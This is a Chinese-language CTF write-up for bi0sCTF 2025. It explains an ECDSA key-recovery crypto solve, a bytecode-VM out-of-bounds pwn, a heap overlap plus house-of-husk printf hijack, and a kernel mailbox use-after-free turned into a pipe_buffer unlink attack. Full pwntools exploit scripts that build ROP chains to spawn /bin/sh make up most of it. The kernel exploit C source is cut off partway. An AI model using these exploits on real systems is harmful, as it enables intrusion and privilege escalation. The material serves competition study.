memdump = bytes.fromhex("000000000000000051000000000000008e9bbc21680bfc6c63cf16b285b46e746bfb9c705e5a90ede5cdc1aa70c2242dce64375dbcf2d5627d1533c4ee6a01ac46527dc751ff565cc03dabf9cfe4ba7a000000000000000051000000000000008455ecf7dbee51e7e7643c14d95c8255749197f4192393241b56533704a07667f78af581ef0ca39ad10f4ca7307139acc61606766ee1d9553448ed8cc8c4d359000000000000000051000000000000009fadd3253280d61856496834bcc6918bf4983431ea66c2cd49391f2d7c1ecc19c2dd081691063b887a50785ed7b1debede30f2c7e2470d0cdee59c13ded00275000000000000000051000000000000007d976e90df20b2ee2413816cc8dd5eb4e218a705938dfb02f8d643e19bac2628ffa52f63cd12b8d28d77f57bfb81ecc008a153dadf41bf064940dd69bc9f17056700000000000000a80d000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")sign1 = memdump[0x10:0x50sign2 = memdump[0x60:0xA0encrypted_flag = memdump[0xB0:0xF0+0x20def recover_seckey():     n = SECP256k1.order
    r1=int.from_bytes(sign1[:32], "little")    s1 = int.from_bytes(sign1[32:64], "little")    r2 = int.from_bytes(sign2[:32], "little")    s2 = int.from_bytes(sign2[32:64], "little")
    z1 = int.from_bytes(d1, "big") % n    z2=int.from_bytes(d2, "big") % n    k_diff= (int.from_bytes(d1[:16], "big") - int.from_bytes(d2[:16], "big")) % n    s1_candidates= [s1, n - s1]    s2_candidates = [s2, n - s2]    recos = []    for s1_ in s1_candidates:        for s2_ in s2_candidates:             s1_inv = inverse_mod(s1_, n)            s2_inv = inverse_mod(s2_, n)            num = (k_diff - ((z1 * s1_inv - z2 * s2_inv) % n)) % n            den= (r1 * s1_inv - r2 * s2_inv) % n            den_inv= inverse_mod(den, n)            d = (num * den_inv) % n            k1= (z1 + r1 * d) * s1_inv % n            k2= (z2 + r2 * d) * s2_inv % n            seckey= d.to_bytes(32"big")            recos.append(seckey)    return recosdef decrypt_flag(seckey):    iv = seckey[:16]    key = sha256(seckey).digest()[:16]    cipher = AES.new(key, AES.MODE_CBC, iv=iv)    return cipher.decrypt(encrypted_flag)def main():     seckey = recover_seckey()     for sec in seckey:        decrypt_flag_result = decrypt_flag(sec)        print(f"解密后的标志: {decrypt_flag_result}")if __name__ == "__main__":    main()


UnintializedVM


经过逆向可以得到如下结构体


structvm_buf{  char code[256];  charstack[2040];  char end[8];};structvm{  unsigned __int8 **PC;  unsigned __int8 **SP;  unsigned __int8 **stack_base;  size_t reg[8];};


注意case36其功能相当于memcpy(stack[reg[dest]] , stack[reg[src]] , size - 1)  (0<=dest,src,size<=0xff)


当src的值为0xff时存在越界读,当dest的值为0xff存在越界写:



bi0sCTF 2025 Writeup by r3kapig


当执行2次expand后,堆布局如下,那么我们可以利用越界读,将libc的地址写到stack上,同时,在stack上也会有一个fake vm,利用pop功能,将libc的值放入到寄存器中,方便后面的利用。


bi0sCTF 2025 Writeup by r3kapig


接着修改stack上的fake vm的sp为libc.sym['__environ']-8, 利用越界写将fake vm写回到vm中(注意此时需要确保stack_base >= sp,同时在将fake vm写回vm时 ,要注意恢复pc指向正确的值),即可使sp指向libc.sym['__environ']-8。


然后利用pop 功能即可获得栈地址,获得栈地址后,利用上述相同的手法将sp 指向ret_addr-0x18,利用push功能写入rop链即可。


exp:


from pwn import *context.arch='amd64'context.log_level='debug'filename = "./vm_chall"libcname = "./libc.so.6"host = "uninitialized_vm.eng.run"port =  8274elf = context.binary = ELF(filename)if libcname:   libc=ELF(libcname,checksec=False)gs=''''''defstart():    if args.GDB:        return gdb.debug(elf.path,gdbscript=gs)    elif args.REMOTE:        return remote(host,port)    else:        return process(elf.path)context.terminal=["tilix","-a","session-add-right","-e"]s = lambda data : p.send(data)sl = lambda data : p.sendline(data)sa = lambda text, data : p.sendafter(text, data)sla = lambda text, data : p.sendlineafter(text, data)r = lambda : p.recv()rn = lambda x  : p.recvn(x)ru = lambda text : p.recvuntil(text)dbg = lambda text=None  : gdb.attach(p, text)uu32 = lambda : u32(p.recvuntil(b"xff")[-4:].ljust(4, b'x00'))uu64 = lambda : u64(p.recvuntil(b"x7f")[-6:].ljust(8, b"x00"))lg = lambda s : info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))pr = lambda s : print('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))defmydbg():    gdb.attach(p,gdbscript=gs)    pause()p = start()defjmp(index):    return p8(0x45) + p8(index)defsub(reg_dst,reg_src):    return p8(0x44) + p8(reg_dst) + p8(reg_src)  # reg[reg_dst] -= reg[reg_src]defadd(reg_dst,reg_src):    return p8(0x43) + p8(reg_dst) + p8(reg_src)  #reg[reg_dst] += reg[reg_src]deflhr(reg_dst,reg_src):    return p8(0x42) + p8(reg_dst) + p8(reg_src)  # reg[reg_dst] <<= reg[reg_src]defshr(reg_dst,reg_src):    return p8(0x41) + p8(reg_dst) + p8(reg_src)  # reg[reg_dst] >>= reg[reg_src]definversion(reg_dst,reg_src):    return p8(0x40) + p8(reg_dst) + p8(reg_src)  # reg[reg_dst] = ~reg[reg_src]defxor(reg_dst,reg_src):    return p8(0x39) + p8(reg_dst) + p8(reg_src)  # reg[reg_dst] ^= reg[reg_src]defor_func(reg_dst,reg_src):    return p8(0x38) + p8(reg_dst) + p8(reg_src)  # reg[reg_dst] |= reg[reg_src]defand_func(reg_dst,reg_src):    return p8(0x37) + p8(reg_dst) + p8(reg_src)  # reg[reg_dst] &= reg[reg_src]defmemcpy_func(reg_dst,reg_src,size):    return p8(0x36) + p8(reg_dst) + p8(reg_src) +p16(size)  # memcpy(stack[8 * reg_dst & 0xff ],stack[8 * reg_src &0xff ],size)defset_imm(reg_dst,imm):    return p8(0x35) + p8(reg_dst) + p64(imm)  # reg[reg_dst] = immdefmov(reg_dst,reg_src):    return p8(0x34) + p8(reg_dst) + p8(reg_src)  # reg[reg_dst] = reg[reg_src]defpop(reg_dst):    return p8(0x33) + p8(reg_dst)  defpush_imm(imm):    return p8(0x31) + p8(imm)  defpush_reg(reg_src):    return p8(0x32) + p8(reg_src)defexpand():    return p8(0x46) ru("[ lEn? ] >> ")vm_code=set_imm(4,0xe0)+expand()sl(str(len(vm_code)))ru("[ BYTECODE ] >>")s(vm_code)ru("[ lEn? ] >> ")vm_code=set_imm(5,0xe3)+expand()sl(str(len(vm_code)))ru("[ BYTECODE ] >>")s(vm_code)ru("[ lEn? ] >> ")vm_code=set_imm(0,0xff)+expand()sl(str(len(vm_code)))ru("[ BYTECODE ] >>")s(vm_code)ru("[ lEn? ] >> ")vm_code=set_imm(1,0xe0)+expand()sl(str(len(vm_code)))ru("[ BYTECODE ] >>")s(vm_code)ru("[ lEn? ] >> ")main_arena_offset=0x1e6b20env_offset=libc.sym['__environ']vm_code=push_imm(0xfe)*0x20+memcpy_func(1,0,0)  # sub sp  memcpy(fake_vm,vm,0xff)vm_code+=push_imm(1)+set_imm(0,0xf0)+set_imm(1,0xdf)+memcpy_func(1,0,9)+pop(6)+push_imm(1)# reg[6]=main_arenavm_code+=set_imm(0,env_offset-main_arena_offset-8)+add(0,6)+push_reg(0) #stack[0xde * 4] = environ_addrvm_code+=set_imm(2,0xe0)+set_imm(3,0xff)+memcpy_func(2,3,0)            # memcpy(fake_vm,vm,0xff)vm_code+=set_imm(0,0xe4)+set_imm(1,0xde)+memcpy_func(0,1,9)            # memcpy(fake_vm->sp,stack[0xde * 4],8)   modify sp = environ_addrvm_code+=set_imm(0,0xe5)+set_imm(1,0xffffffffffffffff)+push_reg(1)+set_imm(1,0xdd)+memcpy_func(0,1,9) #memcpy(fake_vm->stack_base,tack[0xdd * 4],8) modify stack_base = 0xffffffffffffffffvm_code+=set_imm(0,0xe3)+push_imm(0x8a)+set_imm(1,0xdc)+memcpy_func(0,1,2)  #memcpy(fake_vm->pc,stack[0xdc * 4],1) modify the PC last byte to 0xdcvm_code+=memcpy_func(3,2,0) # memcpy(vm,fake_vm,0xff)  modify the real vmvm_code+=pop(5)+expand()   # reg[5] = stack_addrsl(str(len(vm_code)))ru("[ BYTECODE ] >>")s(vm_code)binsh=next(libc.search(b"/bin/sh"))system=libc.sym['system']pop_rdi=0x000000000010194alg("binsh")lg("system")lg("pop_rdi")lg("main_arena_offset")ru("[ lEn? ] >> ")vm_code=set_imm(0,0x130-0x18)+mov(1,5)+sub(1,0)+set_imm(0,0x7a)+memcpy_func(2,3,0) # reg[1] = ret_addr-0x18 reg[0] = 0x7avm_code+=set_imm(0,0xe4)+set_imm(1,0xe7)+memcpy_func(0,1,9)         # memcpy(fake_vm->sp,fake_vm->reg[1],7)  modify sp =  ret_addr-0x18vm_code+=set_imm(0,0xe3)+set_imm(1,0xe6)+memcpy_func(0,1,2)         # memcpy(fake_vm->pc,fake_vm->reg[0],1)  modify the PC last byte to 0x7avm_code+=set_imm(2,0xe0)+set_imm(3,0xff)+memcpy_func(3,2,0)         # memcpy(vm,fake_vm,0xff)  modify the real vmvm_code+=mov(1,6)+set_imm(0,main_arena_offset-system)+sub(1,0)+push_reg(1) # reg[1]=sys       ret_addr-0x18= systemvm_code+=mov(1,6)+set_imm(0,main_arena_offset-pop_rdi-1)+sub(1,0)+push_reg(1) # reg[1]=ret    ret_addr-0x10= retvm_code+=mov(1,6)+set_imm(0,main_arena_offset-binsh)+sub(1,0)+push_reg(1) # reg[1]=/bin/sh    ret_addr-0x8= /bin/shvm_code+=mov(1,6)+set_imm(0,main_arena_offset-pop_rdi)+sub(1,0)+push_reg(1) # reg[1]=pop_rdi  ret_addr-0x0= pop_rdivm_code+=p16(11111)sl(str(len(vm_code)))ru("[ BYTECODE ] >>")# gdb.attach(p, api=True,gdbscript=# """# cymbol -l test# # b *$rebase(0x00001689)# b *$rebase(0x001874)# b *$rebase(0x001CEE)# """)s(vm_code)ru("[ lEn? ] >> ")sl("0")ru("[ BYTECODE ] >>")sl("1")p.interactive()


aaaa


经过逆向可以得到如下结构体


structaccount{  int id;  char name[50];  double balance_normal_user;  unsigned __int32 type;  unsigned __int32 wtf;  double balance_admin;};
structtransaction{  int trans_id;  int account_id;  char reason[20];  double amount;  size_t time;};


当a2 = MAX_TIER时,程序中存在一个数组越界的漏洞,可以更改下一个chunk的size字段:


bi0sCTF 2025 Writeup by r3kapig
bi0sCTF 2025 Writeup by r3kapig
bi0sCTF 2025 Writeup by r3kapig


首先先创建若干个账户,然后利用上述漏洞修改第一个account chunk的size,更改该账户类型,即可使其进入unsorted bin 并制造堆块重叠。

此时堆布局如下:


bi0sCTF 2025 Writeup by r3kapig


由于我们创建账户时 malloc的size 是固定的,而且输入name时,会自动末尾补x00,很难利用现有的功能去泄露地址。


注意到每个功能都会分配一个0x18大小的chunk,执行完相应的功能后释放


set_tier 这里会先通过get_balance去获取余额,获取到余额后才会通过pthread_mutex_lock为线程上锁,

而get_balance中是存在一个usleep(40000)操作的,因此我们可以执行多个set_tier线程,即可从unsorted bin 中分配多个0x18的chunk。



bi0sCTF 2025 Writeup by r3kapig
bi0sCTF 2025 Writeup by r3kapig
bi0sCTF 2025 Writeup by r3kapig


利用上述功能,就很容易的制造出堆叠,再次使用创建账户,将会从unsorted bin中分配走chunk,通过name字段可以控制已分配chunk的头部(包含size、fd、bk)


> 这里0x120的chunk可能和线程的环境变量相关


bi0sCTF 2025 Writeup by r3kapig


注意此时的堆布局,可以通过accounts[6]的balance_admin字段泄露libc,如果我们此时从unsorted bin申请走一个account,其name字段可以控制accounts[7]的size、fd以及bk


bi0sCTF 2025 Writeup by r3kapig


但是此时并没有得到heap地址,无法通过篡改tcache的fd实现任意地址申请


此时可以利用创建account功能, 从unosrted bin中分配走一个chunk,利用name字段修改accounts[7]的size,然后更改accounts[7]账户类型,即可再次制造一个unsorted bin ,这样上一个unsorted bin 中的bk就变成一个heap地址了


此时堆布局如下所示,通过accounts[0x11]的balance_admin字段泄露heap


bi0sCTF 2025 Writeup by r3kapig


现在拥有了任意地址申请和任意地址写的能力,但是由于strncpy的存在,无法在payload中包含 x00,不能使用house of apple进行利用。


注意到create_account函数中会存在调用printf,如果利用house of husk劫持__printf_arginfo_table为一个堆地址,并且在%d (heap_addr+0x64*8)以及%s (heap_addr+0x73 * 8)处布置好数据,可以实现任意两个函数调用


printf("Created account %d for %s (initial tier: 0)n", account_count, a1);

注意到第一次其函数调用时其rdi为栈地址,那么尝试设置heap_addr+0x64*8为gets ,向栈中写入垃圾数据,并观察第二次调用是否能劫持rip 到写入的垃圾数据中


bi0sCTF 2025 Writeup by r3kapig


非常幸运,可以发现当第二次调用时, rdx 是一个栈地址,并且指向了我们写入的垃圾数据,那么设置 heap_addr+0x73 * 8 为 mov rsp,rdx ; ret 即可劫持控制流


bi0sCTF 2025 Writeup by r3kapig


最终的堆布局如下,利用之前所述的堆重叠,修改fd实现任意地址写,即可控制对应的堆地址为gets以及mov rsp, rdx; ret ,最后修改 __printf_arginfo_table为对应的堆地址即可。


bi0sCTF 2025 Writeup by r3kapig


exp:

远程交互时需要将p.sendlineafter修改为p.sendline


from pwn import *import structcontext.arch='amd64'context.log_level='debug'filename = "./main"libcname = "./libc.so.6"host = "0.0.0.0"port =  1338elf = context.binary = ELF(filename)if libcname:   libc=ELF(libcname,checksec=False)gs=''''''defstart():    if args.GDB:        return gdb.debug(elf.path,gdbscript=gs)    elif args.REMOTE:        return remote(host,port)    else:        return process(elf.path)context.terminal=["tilix","-a","session-add-right","-e"]s = lambda data : p.send(data)sl = lambda data : p.sendline(data)sa = lambda text, data : p.sendafter(text, data)sla = lambda text, data : p.sendlineafter(text, data)r = lambda : p.recv()rn = lambda x  : p.recvn(x)ru = lambda text : p.recvuntil(text)dbg = lambda text=None  : gdb.attach(p, text)uu32 = lambda : u32(p.recvuntil(b"xff")[-4:].ljust(4b'x00'))uu64 = lambda : u64(p.recvuntil(b"x7f")[-6:].ljust(8b"x00"))lg = lambda s : info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))pr = lambda s : print('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))defmydbg():    gdb.attach(p,gdbscript=gs)    pause()CHUNK_SIZE = 24MAX_BALANCE = CHUNK_SIZE << 1MAX_TIER = CHUNK_SIZE >> 4defdecimal_to_float(decimal_value):    return struct.unpack("<d", struct.pack("<Q", decimal_value))[0]defdeposit(_id, _amount):    p.sendlineafter(b'Enter choice: 'b'2')    p.sendlineafter(b'Enter account ID: 'str(_id).encode())    p.sendlineafter(b'Enter amount/type/value: 'str(_amount).encode())    _ = p.recvuntil(b'Deposited')defshow_info(_id):    p.sendlineafter(b'Enter choice: 'b'5')    p.sendlineafter(b'Enter account ID: 'str(_id).encode())defchange_type(_id, _type):    p.sendlineafter(b'Enter choice: 'b'6')    p.sendlineafter(b'Enter account ID: 'str(_id).encode())    p.sendlineafter(b'Enter amount/type/value: 'str(_type).encode())    _ = p.recvuntil(b'Changed account')defwrite_secret(_id, _secret):    p.sendlineafter(b'Enter choice: 'b'9')    p.sendlineafter(b'Enter account ID: 'str(_id).encode())    p.sendlineafter(b'Enter secret value: 'str(_secret).encode())    _ = p.recvuntil(b'Modified reserved')defcreate_account(_name, _type, _balance):    p.sendlineafter(b'Enter choice: 'b'10')    p.sendlineafter(b'Enter name: ', _name)    p.sendlineafter(b'2=Admin): 'str(_type).encode())    p.sendlineafter(b'Enter initial balance: 'str(_balance).encode())    _ = p.recvuntil(b'Created account ')    _id = p.recvuntil(b' for ', drop=True)    returnint(_id)defcreate_account_2(_name, _type, _balance,content=b"123213"):    p.sendlineafter(b"Enter choice: "b"10")    p.sendlineafter(b"Enter name: ", _name)    p.sendlineafter(b"2=Admin): "str(_type).encode())    p.sendlineafter(b"Enter initial balance: "str(_balance).encode()+content)    defset_tier(_id):    p.sendlineafter(b'Enter choice: 'b'11')    p.sendlineafter(b'Enter account ID: 'str(_id).encode())defoob_rw(_id, new_val=0):    p.sendlineafter(b'Enter choice: 'b'11')    p.sendlineafter(b'Enter account ID: 'str(_id).encode())    _ = p.recvuntil(b'Set tier')    p.sendline(b'14')    p.sendlineafter(b'Enter account ID: 'str(_id).encode())    # input("Press Enter to continue...")    print(type(new_val))    p.sendlineafter(b'Enter new bracket value: ',str(new_val) )    _ = p.recvuntil(b'changed from ')    _leak = p.recvuntil(b' to ', drop=True)    return _leakp = start()p.sendlineafter(b'Enter maximum balance for users: 'str(MAX_BALANCE).encode())user_id_list=list()for i inrange(24): # 0 - 23    user_id = create_account(b'user'+str(i).encode(), 0, MAX_BALANCE)    user_id_list.append(user_id)ow_double = struct.unpack("<d", struct.pack("<Q"0x8a1))[0]leak = oob_rw(user_id_list[0],ow_double)change_type(user_id_list[0], 0)set_tier(user_id_list[1])set_tier(user_id_list[1])set_tier(user_id_list[1])sleep(5)show_info(user_id_list[6])ru("Interest Rate: ")libc_base= u64(struct.pack("<d"float(p.recvuntil(b"%",drop=True))))-0x211b20lg("libc_base")user_id=create_account(b'a'*0x14+p64(0x481), 0, MAX_BALANCE)user_id_list.append(user_id) #24user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #25user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #26user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #27user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #28user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #29user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #30user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #31user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #32user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #33user_id=create_account(b'a'*0x14+p64(0x61), 0, MAX_BALANCE)user_id_list.append(user_id) #34change_type(user_id_list[7], 0)show_info(user_id_list[17])ru("Interest Rate: ")heap_base= u64(struct.pack("<d"float(p.recvuntil(b"%",drop=True))))-0x550lg("heap_base")system = libc_base+libc.symbols['system']mov_rsp_rdx = libc_base + 0x0000000000062cbfsize_addr=0x658+heap_basechange_type(user_id_list[0x11], 0)change_type(user_id_list[0x21], 0)change_type(user_id_list[0x22], 0)key=heap_base>>12user_id = create_account(b"a" * 0x1C + p64((size_addr-0x8) ^ key), 0, MAX_BALANCE)user_id_list.append(user_id)  # 30user_id = create_account(b"a" * 0x1C + p64((size_addr-0x8) ^ key), 0, MAX_BALANCE)user_id_list.append(user_id)  # 30user_id = create_account(b"a" * 4+ p64(mov_rsp_rdx), 0, MAX_BALANCE)user_id_list.append(user_id)  # 30change_type(user_id_list[8], 0)change_type(user_id_list[20], 0)change_type(user_id_list[25], 0)wide_data = libc_base + 0x213700lg("wide_data")GADGET = p64(libc_base + libc.sym["gets"])user_id = create_account(b"a" * 0x1C + p64((wide_data) ^ key), 0, MAX_BALANCE)user_id_list.append(user_id)  # 30pop_rdi = 0x0011fecc + libc_basepop_rsi = 0x0012f751 + libc_basepop_rdx = 0x000b5762 + libc_basepop_rax = 0x000e5597 + libc_basesyscall = 0x0014472b + libc_basebinsh = 0x1d94ab + libc_baseuser_id = create_account(b"a" * 0x1C + GADGET, 0, MAX_BALANCE)user_id_list.append(user_id)  # 31# gdb.attach(p, api=True,gdbscript='b *$rebase(00x0224B)') pop_rdi = libc_base + 0x000000000011a79cbinsh=libc_base + next(libc.search(b"/bin/shx00"))system = libc_base + libc.symbols['system']payload=b'a' * 0x67 +flat(pop_rdi, binsh,pop_rdi, binsh,pop_rsi, 0,pop_rdx, 0,pop_rax, 59,  syscall)# gdb.attach(p, api=True,gdbscript='b *$rebase(00x0224B)') user_id = create_account_2(    b"a" * 0x4 + p64(heap_base + 0x2C0), 2, struct.unpack("<d"b"x41" * 8),payload)user_id_list.append(user_id)  # 32
p.interactive()


Kernel-Mailinglists


内核模块实现了一个邮件系统,可以向指定用户发送邮件,也可以订阅某个用户。当用户A订阅用户B后,用户A会储存在用户B的bmailinglist中。被订阅者可以向所有订阅者广播邮件。


漏洞出在删除某个用户时,会将其box相关数据释放掉并从链表中unlink,但是并没有相应清空被订阅者box->bmailinglist,形成UAF。


bi0sCTF 2025 Writeup by r3kapig


但是由于题目整体功能实现,writemail函数中,用户可控内容仅放在堆块中,并通过指针方式储存在box中。并不能进行直接利用。(可能也是这道题只有唯一解的难点所在)。

事实上很容易注意到在link_user_frame函数中,存在以下赋值以及link操作:


bi0sCTF 2025 Writeup by r3kapig


接下来利用场景变成了,在我们不知道任何地址的情况下,如何利用一个UAF chunk中的link操作提权。最开始我想通过unlink hijack modprobe_path,但是这需要已知一个内核data段地址。而在题目的情景下,在结构体自身没有带任何函数ops情况下,泄露一个内核代码段 or data段地址是非常困难的。


可以看到在__link_user_frame函数中,当box->inboxmails为0时,会将其赋值为一个user_frame堆块的地址。实际上部分覆写这个地址也不能转化成double free,因为被覆写的box已经不在boxlist中,无法再通过remove_mailbox等函数来进行转化。但是这给我们提供了一个泄露内核堆地址的能力。


通过大量喷射box结构体对象,同时全部释放掉,使我们UAF box所在的slab page被回收,后续通过page spray拿回来,内容先全设置为0,此时writemail会触发__link_user_frame在page中写入fr地址,通过读page可以拿到一个内核堆地址。同时释放page并且继续喷page可以持续控制UAF box对象中的所有内容(这个技巧同样在geekcon 2024 final中用到)。


至此我们在拿到了一个内核堆地址的情况下,理论上可以unlink attack所有堆中的对象(适当的页风水后),这里我选择unlink攻击pipe_buffer->flag。具体原理可以查看dirtypipe漏洞成因。事实上在pipe_write中,只会校验flag是否&0x10(PIPE_BUF_FLAG_CAN_MERGE)而fr结构体大小末尾为0x8对齐,因此理论上有1/2的概率堆地址满足我们的攻击条件,能够利用unlink attack成功将pipe_buffer->flag改写为一个堆地址,且能成功写入pipe管道。


由于需要伪造一个box->inboxmails对象,需要用到该对象中的成员变量作为target address进行link,所以我们其实需要知道(成功预测)两个地址:用于伪造box-->inboxmails对象的内核堆地址,一个被spliced的pipe_buffer结构体地址。同样通过page spray来布置伪造box-->inboxmails对象。


由于时间限制&本题复杂的风水,及需要通过user_frame object的内核堆地址预测另外两个内核堆地址,exploit成功率在20%左右。最后覆写/bin/busybox提权。


#define _GNU_SOURCE
#include<stdio.h>#include<unistd.h>#include<stdlib.h>#include<fcntl.h>#include<signal.h>#include<string.h>#include<stdint.h>#include<sys/mman.h>#include<sys/syscall.h>#include<sys/ioctl.h>#include<sched.h>#include<ctype.h>#include<pthread.h>#include<sys/types.h>#include<sys/sem.h>#include<semaphore.h>#include<poll.h>#include<sys/ipc.h>#include<sys/msg.h>#include<sys/shm.h>#include<sys/wait.h>#include<linux/keyctl.h>#include<sys/user.h>#include<sys/ptrace.h>#include<stddef.h>#include<sys/utsname.h>#include<stdbool.h>#include<sys/prctl.h>#include<sys/resource.h>#include<linux/userfaultfd.h>#include<sys/socket.h>#include<asm/ldt.h>#include<linux/if_packet.h>#define MAILTMP (0x1 << 0x8)#define MAILDEL (0x1 << 0x9)#define MAILBLK (0x1 << 0xa)#define MAILCLR (0x1 << 0xb)#define REGULAR_MAIL   0x1#define BROADCAST_MAIL 0x2#define ALLMAIL 0x1000#define REGMAIL 0x2000#define VICTIM_ID 0x180#define FD_NUM 0x300enum {    INITBOX = 0x1337001,    SENDMAIL,    RECVMAIL,    STAT_SET,    STAT_GET,    SUBSCRIBE,    UNSUBSCRIBE,};#define MAX_PIPE_COUNT 0x40int pipe_fd[MAX_PIPE_COUNT][2];int pipe_fd2[0x400][2];voidspray_pipes(int start, int cnt){    char *buf[0x1000] = { 0 };    printf("[*] enter %s start from index: %dn", __PRETTY_FUNCTION__, start);        for (int i = start; i < cnt; ++i) {        if (pipe(pipe_fd[i]) < 0) {            perror("create pipe");            exit(0);        }     }}voidspray_pipes2(int start, int cnt){    char *buf[0x1000] = { 0 };    printf("[*] enter %s start from index: %dn", __PRETTY_FUNCTION__, start);        for (int i = start; i < cnt; ++i) {        if (pipe(pipe_fd2[i]) < 0) {            perror("create pipe");            exit(0);        }     }}voidpipe_buffer_resize(){    for(int i = 0; i < MAX_PIPE_COUNT; i++){        if (fcntl(pipe_fd[i][1], F_SETPIPE_SZ, 0x1000 * 8) < 0) {            perror("resize pipe");                exit(0);        }      }}voidpipe_buffer_init(){    char tmp[0x1000]={0};    for (int i = 0; i < MAX_PIPE_COUNT; ++i) {        uint32_t k = i;        write(pipe_fd[i][1],"Lotussss",8);        write(pipe_fd[i][1],tmp,0xff0);    }}voiderr_exit(char *msg){    printf("33[31m33[1m[x] Error at: 33[0m%sn", msg);    sleep(5);    exit(EXIT_FAILURE);}
voidinfo(char *msg){    printf("33[34m33[1m[+] %sn33[0m", msg);}
voidhexx(char *msg, size_t value){    printf("33[32m33[1m[+] %s: %#lxn33[0m", msg, value);}
voidbinary_dump(char *desc, void *addr, int len){    uint64_t *buf64 = (uint64_t *) addr;    uint8_t *buf8 = (uint8_t *) addr;    if (desc != NULL) {        printf("33[33m[*] %s:n33[0m", desc);    }    for (int i = 0; i < len / 8; i += 4) {        printf("  %04x", i * 8);        for (int j = 0; j < 4; j++) {            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");        }        printf("   ");        for (int j = 0; j < 32 && j + i * 8 < len; j++) {            printf("%c"isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');        }        puts("");    }}/* bind the process to specific core */voidbind_core(int core){    cpu_set_t cpu_set;    CPU_ZERO(&cpu_set);    CPU_SET(core, &cpu_set);    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);    printf("33[34m33[1m[*] Process binded to core 33[0m%dn", core);}size_t user_cs, user_ss, user_rflags, user_sp;/* USERLAND INTERFACING STRUCTS */structmailentry {    unsigned stat;    unsigned public_key;};typedefstructusrctx {    unsigned nprocs;    unsigned nentries;    structmailentryentries [];} userctx;typedefstructusrstat {    unsignedshort ctlop;    unsignedshort nextmtype;    unsigned public_key;    unsigned secret_key;    unsigned nmails;    unsigned lenmail;    unsigned lenrmail;    unsigned nsubs;    unsigned submax;} usrstat;/* This is for actions init, sndmail, rcvmail, subscribe, unsubscribe, */typedefstructusrmail {    unsigned flags;    unsigned public_key;    unsignedlong secret_key;    unsignedlong size;    char data [];} usrmail;typedefunionusr_info {    usrmail mail;    usrstat stat;    userctx pctx;} usr_info;intopen_mailbox(void){    int fd = open("/dev/mailbox", O_RDWR);    if (fd < 0) {        perror("Failed to open mailbox device");        exit(EXIT_FAILURE);    }    // printf("Open fd: %d n", fd);    return fd;}voidinitialize_mailbox(int fd, unsigned pub_key, unsignedlong sec_key){    usr_info info;    memset(&info, 0sizeof(info));        info.mail.flags = INITBOX;    info.mail.public_key = pub_key;    info.mail.secret_key = sec_key;        if (ioctl(fd, INITBOX, &info) < 0) {        perror("INITBOX failed");    } else {        // printf("[+] Mailbox initialized: PubKey=0x%xn", pub_key);    }}voidsend_regular_mail(int sender_fd, unsigned target_pub,                        unsignedlong sec_key, constchar *message, size_t user_len) {    size_t len = user_len;    size_t total_size = sizeof(usrmail) + len;        usr_info *info = malloc(total_size);    if (!info) {        perror("malloc failed");        return;    }        memset(info, 0, total_size);    info->mail.flags = REGULAR_MAIL;    info->mail.public_key = target_pub;    info->mail.secret_key = sec_key;    info->mail.size = len;    memcpy(info->mail.data, message, len);        if (ioctl(sender_fd, SENDMAIL, info) < 0) {        perror("SENDMAIL (regular) failed");    } else {        printf("[+] Regular mail sent to 0x%xn", target_pub);    }        free(info);}voidsend_broadcast_mail(int sender_fd, unsigned pub_key, constchar *message, size_t user_size){    size_t len = user_size;    size_t total_size = sizeof(usrmail) + len;        usr_info *info = malloc(total_size);    if (!info) {        perror("malloc failed");        return;    }        memset(info, 0, total_size);    info->mail.flags = BROADCAST_MAIL;    info->mail.size = len;    info->mail.public_key = pub_key;    memcpy(info->mail.data, message, len);        if (ioctl(sender_fd, SENDMAIL, info) < 0) {        perror("SENDMAIL (broadcast) failed");    } else {        printf("[+] Broadcast mail sent:n");    }        free(info);}voidreceive_mail(int fd){    usrstat status;    usr_info info;        if (ioctl(fd, STAT_GET, &info) < 0) {        perror("STAT_GET failed");        return;    }        if (info.stat.nmails == 0) {        printf("[-] No mail availablen");        return;    }        size_t total_size = sizeof(usrmail) + info.stat.lenmail;    usr_info *mail_info = malloc(total_size);    if (!mail_info) {        perror("malloc failed");        return;    }        mail_info->mail.flags = ALLMAIL;         if (ioctl(fd, RECVMAIL, mail_info) < 0) {        perror("RECVMAIL failed");    } else {        printf("[+] Mail received: %sn", mail_info->mail.data);    }        free(mail_info);}voidset_mailbox_status(int fd, unsignedshort status){    usr_info info;    memset(&info, 0sizeof(info));        info.stat.ctlop = status;        if (ioctl(fd, STAT_SET, &info) < 0) {        perror("STAT_SET failed");    } else {        printf("[+] Mailbox status set to 0x%xn", status);    }}voidget_mailbox_status(int fd){    usr_info info;    memset(&info, 0sizeof(info));        if (ioctl(fd, STAT_GET, &info) < 0) {        perror("STAT_GET failed");    } else {        usrstat *s = &info.stat;        printf("[*] Mailbox Status:n");        printf("  Status: 0x%xn", s->ctlop);        printf("  Next mail type: %dn", s->nextmtype);        printf("  Public key: 0x%xn", s->public_key);        printf("  Mails: %un", s->nmails);        printf("  Subscribers: %u/%un", s->nsubs, s->submax);        printf("  Next mail size: %u bytesn", s->lenmail);        printf("  Regular mail size: %u bytesn", s->lenrmail);    }}voidsubscribe_mailbox(int subscriber_fd, unsigned publisher_pub){    usr_info info;    memset(&info, 0sizeof(info));        info.mail.public_key = publisher_pub;        if (ioctl(subscriber_fd, SUBSCRIBE, &info) < 0) {        